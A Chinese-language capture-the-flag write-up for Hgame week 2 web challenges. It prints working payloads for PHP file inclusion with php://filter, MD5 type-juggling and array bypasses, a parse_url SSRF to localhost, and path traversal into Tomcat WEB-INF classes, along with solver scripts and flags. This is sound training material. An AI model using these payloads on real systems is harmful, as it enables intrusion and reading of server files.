Hgame_week2_web

easy_php

根据网页标题 where is my robot

访问http://118.24.25.25:9999/easyphp/robots.txt

得到一个路径 img/index.php

源码如下

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__)

得到一个文件包含,尝试包含一下flag.php,双写绕过。

?img=..././flag

得到一句 maybe_you_should_think_think

显然是存在flag.php的,那么尝试php伪协议包含

?img=php://filter/read=convert.base64-encode/resource=..././flag

得到PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK

解开后得到flag

1
2
3
<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";

php trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

一共有11步if条件需要绕过。

  • 利用php弱相等绕过step1,2

str1=QNKCDZO&str2=240610708

  • md5函数处理数组会返回false,绕过step3,4

str3[]=1&str4[]=2

  • php处理url中的位置字符时会自动替换为_,绕过step5

  • 用数组绕过 step678

H.game[]=1

  • 构造url绕过剩下步骤读取admin.php

url=http://@127.0.0.1:80@www.baidu.com/admin.php

最终payload

1
http://118.24.3.214:3001/?str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php

读到admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

利用php伪协议包含flag.php

payload

1
http://118.24.3.214:3001/?str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

PHP Is The Best Language

简单的代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  

include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}

if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}

$gate = hash_hmac('sha256', $_POST['key'], $secret);

if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}

?>

未知的参数$secret,如果我们可控secret,那就很容易构造出payload

注意到

1
$secret = hash_hmac('sha256', $_POST['door'], $secret);

我们可以通过控制 door 参数为一个数组 ,使得hash_hmac函数返回一个false给secret。

若secret为false,那么就可以通过控制key的值来控制gate的值。

再看到

1
((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1)

需要找到一个满足条件的key,写一个简单的脚本爆破一下

1
2
3
4
5
6
7
<?php
for($i=1;$i<999999999;$i++){
if ((md5($i)+1) == (md5(md5($i)))+1) {
echo $i;
break;}
}
?>

得到key=12。那么gate为12的SHA256加密。

最终构造一个POST包发送

1
2
3
4
5
6
7
8
9
import requests
a='http://118.25.89.91:8888/flag.php'
d={
'gate':'4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf',
'key':'12',
'door[]':'2'
}
r=requests.post(url=a,data=d)
print r.content

得到flag Wow!!!</br>hgame{Php_MayBe_Not_Safe}

Baby_Spider

考验爬虫编写能力的题目。

1-10 关

正常的爬虫

抓取网页内容就可以了

需要加上UA头来爬,否则在第十关的时候会返回关机指令。

11-20 关

使用了一个很骚的反爬虫机制,更换了css中的字体。

使得浏览器显示的数字与content中的数字不同。

将字体下载下来,找到一一对应关系,写一个替换规则就好了。

可以看到1在浏览器上显示的是0,3在浏览器上显示的是6,以此类推。

21-30 关

使用after伪元素做了替换,这里直接抓取一下css中真实的算式就可以了。

直接贴上python3代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: UTF-8 -*-
import requests
import re

header={
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
}
token={
'token':'jrTzcktwyzG5bRoT5Qb6Vf558RCtuMEn'
}
list='1026943587'
url='http://111.231.140.29:10000/'
url1='http://111.231.140.29:10000/question'
url2='http://111.231.140.29:10000/solution'
url3='http://111.231.140.29:10000/statics/style.css'
res = '<span>(.*?)='
r=requests.post(url=url,data=token)
session=r.cookies
print("[*] "+"-"*40)

for i in range(0,10):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %d :'%i + math)
math = eval(math)
result = {
'answer': math
}
r=requests.post(url=url2,data=result,cookies=session,headers=header)
session = r.cookies
print("[*] " + "-" * 40)

tmp=''
for i in range(10,20):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
for j in math:
if ord(j) > 47:
tmp += list[int(j)]
else:
tmp += j
math = tmp
tmp = ''
print('[+] %d :' % i + math)
answer = (eval(math))
result = {
'answer': answer
}
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session = r.cookies
print("[*] " + "-" * 40)



res = 'content:"(.*?)='
for i in range(20,30):
css = requests.get(url=url3, cookies=session, headers=header)
math = re.findall(res, css.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %d :' % i + math)
answer = (eval(math))
result = {
'answer': answer
}
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session=r.cookies
print("[*] " + "-" * 40)
if "hgame" in r.content.decode('utf-8'):
print(r.content.decode('utf-8'))

Math 有趣

看到题目的图片地址

http://test.tan90.me:8080/img/cXVlc3Rpb24ucG5n.php

文件名奇奇怪怪的,对cXVlc3Rpb24ucG5n解base64得到question.png

显然可以读取文件。

http://test.tan90.me:8080/img/1.php

随手一试发现了报错页面,看到了class的内容。

那么尝试通过构造文件来读取关键class内容

../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class

读到MathController.class

1
2
0123852^x % 612799081 = 6181254136845 % 612799081
The flag is hgame{x}.x is a decimal number.

是一道数学题啊,脚本爆破一下。

1
2
3
4
5
6
i=1
while(i):
if pow(123852,i,612799081)==562605879:
print i
break
i+=1

得到i=15387368

则flag为 hgame{15387368}